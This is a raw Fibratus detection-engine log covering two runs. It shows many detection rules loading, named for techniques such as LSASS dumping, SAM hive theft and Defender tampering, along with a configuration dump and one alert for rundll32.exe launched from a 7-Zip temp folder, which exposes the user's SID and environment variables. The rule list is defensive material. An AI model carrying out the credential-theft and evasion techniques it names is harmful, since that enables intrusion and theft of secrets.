C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_process_execution_from_compressed_file_via_explorer.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-12T19:27:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:27:53+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-12T19:27:53+01:00 level=info msg=bootstrapping with pid 18696. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-12T19:27:53+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ content-type=>text/html enabled=>false use-template=>true port=>25 to=>[]] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-image=>true enable-handle=>false flush-interval=>1s stack-enrichment=>true enable-vamap=>true enable-net=>true enable-thread=>true max-buffers=>36 enable-threadpool=>false enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true min-buffers=>16 enable-dns=>false buffer-size=>512 enable-registry=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 level=>info formatter=>text max-size=>100 max-backups=>15 log-stdout=>true] + output ......................... [ http=>[ tls-insecure-skip-verify=>false timeout=>5s method=>POST endpoints=>[] enable-gzip=>false enabled=>false serializer=>json] elasticsearch=>[ index-name=>fibratus trace-log=>false template-name=>fibratus flush-period=>1s healthcheck=>true gzip-compression=>false sniff=>false bulk-workers=>1 healthcheck-interval=>10s enabled=>false timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] amqp=>[ exchange-type=>topic url=>amqp://localhost:5672 tls-insecure-skip-verify=>false vhost=>/ delivery-mode=>transient durable=>false routing-key=>fibratus passive=>false exchange=>fibratus timeout=>5s enabled=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false excluded-files=>[] fastscan=>true skip-registry=>false skip-files=>false skip-mmaps=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-12T19:27:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-12T19:27:55+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-12T19:28:06+01:00 level=info msg=sending alert: [Process execution from compressed file via Explorer]. Text: Event(s): + Seq: 3622536 + Pid: 17288 + Tid: 18508 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-12 19:28:03.8556147 +0100 CET + Params: cmdline➜ "C:\Users\nedo\AppData\Local\Temp\7zO883C026F\rundll32.exe" , directory_table_base➜ 3f8b67000, domain➜ ARCHRABBIT, exe➜ C:\Users\nedo\AppData\Local\Temp\7zO883C026F\rundll32.exe, exit_status➜ Success, flags➜ , kproc➜ ffffd506f9bb9080, name➜ rundll32.exe, pid➜ 1136, ppid➜ 17288, real_ppid➜ 17288, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-12 19:28:03.8556147 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Process execution from compressed file via Explorer, technique.ref: https://attack.mitre.org/techniques/T1204/, tactic.ref: https://attack.mitre.org/tactics/TA0002/, technique.name: User Execution, subtechnique.ref: https://attack.mitre.org/techniques/T1204/002/, technique.id: T1204, subtechnique.id: T1204.002, subtechnique.name: Malicious File, tactic.id: TA0002, tactic.name: Execution, rule.seq.link: 1762972299677722364 + + Pid: 17288 + Ppid: 4496 + Name: 7zFM.exe + Parent name: explorer.exe + Cmdline: "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\nedo\Downloads\rundll32.7z" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Program Files\7-Zip\7zFM.exe + Cwd: C:\Users\nedo\Downloads\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\7-Zip\7zFM.exe" "C:\Users\nedo\Downloads\rundll32.7z"] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_4496_1262719628:1 EFC_4496_1592913036:1 EFC_4496_2283032206:1 EFC_4496_2775293581:1 EFC_4496_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\7-Zip\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-12T19:28:18+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T19:28:19+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-12T19:28:19+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-12T19:30:25+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_process_execution_from_compressed_file_via_explorer.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from 